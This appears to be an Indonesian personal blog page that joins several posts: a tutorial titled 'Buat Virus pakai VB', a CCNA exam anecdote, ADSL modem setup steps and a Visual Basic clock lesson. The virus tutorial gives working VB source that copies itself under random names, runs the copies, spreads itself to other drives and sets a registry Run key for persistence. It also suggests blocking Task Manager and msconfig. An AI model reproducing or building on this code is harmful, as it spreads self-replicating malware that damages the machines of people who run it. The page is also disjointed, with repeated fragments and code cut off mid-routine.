FileCopy App.path + "\" + App.EXEName + ".exe", drive.DriveLetter + ":\" + "Angel2.exe"
s = drive.DriveLetter + ":\"
InfeksiFolder s
End If
End If
End Select


Next
Wend
End Sub



untuk ngebuatnya cuman di butuhin form 1 aja tanpa komponen laen ,ini codingnya :

Buat Virus pakai VB


Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :
Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub


Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:

Cerita Ngerjakan CCNA 3 Final Exam


Malam yang begitu menyejukkan tapi ga menyejukkan pikiranku.
malam itu aku tenang-tenang aja untuk mau mengerjakan ccna 3 yang final exam, aku ga tahu klo jam 22 udah mau ditutup.
Jam 21.45 aku coba membuka diwarnet sambil cari jawaban mungn aja ada yang udah upload ke internet.

iseng-iseng aku buka email aku, ternyata di situ ada kiriman menganai pengerjaan CCNA yang di kirim oleh unsasolo. aku buka ternyata.................
CCNA untuk final exam ditutup pada pukul 22 padahal aku baru buka pukul 21.50.
akhirnya aku paksa buka www.cisco.netacad.net. aku buka soalnya. dalam waktu kurang dari 10 menit aku mngerjakan CCNA.
akhirnya aku kecewaaaaaaaaaaaaaa karena aku dapat 2,9.........
akuu jadi lemessss melihat nilai aku
tapi aku bilang semangat brooo masih ada remidi.



Malam yang begitu menyejukkan tapi ga menyejukkan pikiranku.
malam itu aku tenang-tenang aja untuk mau mengerjakan ccna 3 yang final exam, aku ga tahu klo jam 22 udah mau ditutup.

Setting Speedy dengan Modem ADSL Corega


Ingin tahu bagaimana menyeting Speedy dengan Modem ADSL Corega. Silahkan anda ikuti Tutorial berikut ini:
1. Pastikan modem tersambung dengan benar.
2. Ubah IP komputer anda dengan 192.168.1.2/24 (tahu kan /24 itu untuk submask)
3. Buka Mozilla atau IE
4. Ketik di address 192.168.1.1
5. Username : root password :
6. Klik wizard
7. Pilih negara: Indonesia kemudian pilih TELKOM 4
8. Klik config
9. Klik New Connection
10. Tuliskan nama koneksi yang baru
11. Pilih PPOE
12. Untuk VCI, VPI tanya ke telkom, klo untuk Rembang pakai VCI : 8, VPI : 81
13. Masukkan username : xxxxxxxxxxxx@telkom.net
14. Masukkan password speedy anda.
15. Klik Apply
16. Klik Connect
17. Klik Apply
18. Klik Save All
19. Jadi deh....

Troubleshotting
Klo masih ga konek setelah langkah diatas silahkan anda restart komputer yang dibuat nyeeting.

Demikian Semoga bermanfaat.


Ingin tahu bagaimana menyeting Speedy dengan Modem ADSL Corega. Silahkan anda ikuti Tutorial berikut ini:

Ngajar Visual Basic di ICT Rembang


Tadi aku ngajar visual basic di ict rembang dengan materi yang dasar, para peserta semangat karena baru pertama kali membuat sebuah program.
Untuk pertama kali saya ajarkan bagai mana membuat sebuah jam digital yaitu:
1. Persiapkan 1 form, 1 label, 1 timer
2. Ubah properties untuk timer dengan interval 1000
3. Ketikkan kode dibawah ini:
Private sub Timer1_Timer()
Label1.Caption = Format(Now, "dddd, dd mmmmm yyyy, hh:mm:ss")
End Sub
4. Jalankan brogram dengan menekan F5

demikianlah tadi aku mengajarkan membuat program jam digital di ICT Rembang.
semoga bermanfaat.
kapan-apan au lanjut pelajarannya....

Tadi aku ngajar visual basic di ict rembang dengan materi yang dasar, para peserta semangat karena baru pertama kali membuat sebuah program.